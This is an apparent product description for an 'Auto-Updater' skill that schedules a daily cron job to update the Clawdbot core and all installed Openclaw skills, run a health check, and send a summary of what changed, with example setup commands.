What is Auto-Updater?
The Auto-Updater is a critical maintenance skill designed to ensure your AI environment remains secure, stable, and feature-complete. By automating the update lifecycle, it eliminates the need for manual intervention when keeping your core system and your library of Openclaw Skills up to date. It runs as a background process, checking for new releases and applying them during off-peak hours.
This skill bridges the gap between manual management and a hands-off developer experience. Whether you are using npm, pnpm, or bun, the Auto-Updater handles the complexities of versioning and migrations, delivering a detailed summary of all changes directly to your preferred communication session.
Auto-Updater Use Cases
- Automating daily maintenance for a fleet of AI agents to ensure consistent performance.
- Keeping your collection of Openclaw Skills synchronized with the latest registry versions without manual commands.
- Ensuring system security by automatically applying patches to the core Clawdbot engine.
- Monitoring version changes through automated daily status reports and change summaries.
How Auto-Updater Works
- The skill utilizes a scheduled cron job (defaulting to 4:00 AM) managed by the openclaw-agent utility.
- Upon activation, the agent checks the current version of Clawdbot against the latest available release on the relevant package manager.
- It executes the
clawdhub update --allcommand to scan and update every individual Openclaw Skills instance installed in the environment. - Post-update, it runs a system health check via
clawdbot doctorto apply migrations or environment fixes. - Finally, it compiles a summary of the version increments and delivers a formatted message to the user.
Auto-Updater Setup
Before setting up this skill, the openclaw-agent must be installed and running on your system.
Quick Start Command: Ask your agent: "Set up daily auto-updates for yourself and all your skills."
Manual CLI Setup:
clawdbot cron add \
--name "Daily Auto-Update" \
--cron "0 4 * * *" \
--tz "America/Los_Angeles" \
--session isolated \
--wake now \
--deliver \
--message "Run daily auto-updates: check for Clawdbot updates and update all skills. Report what was updated."
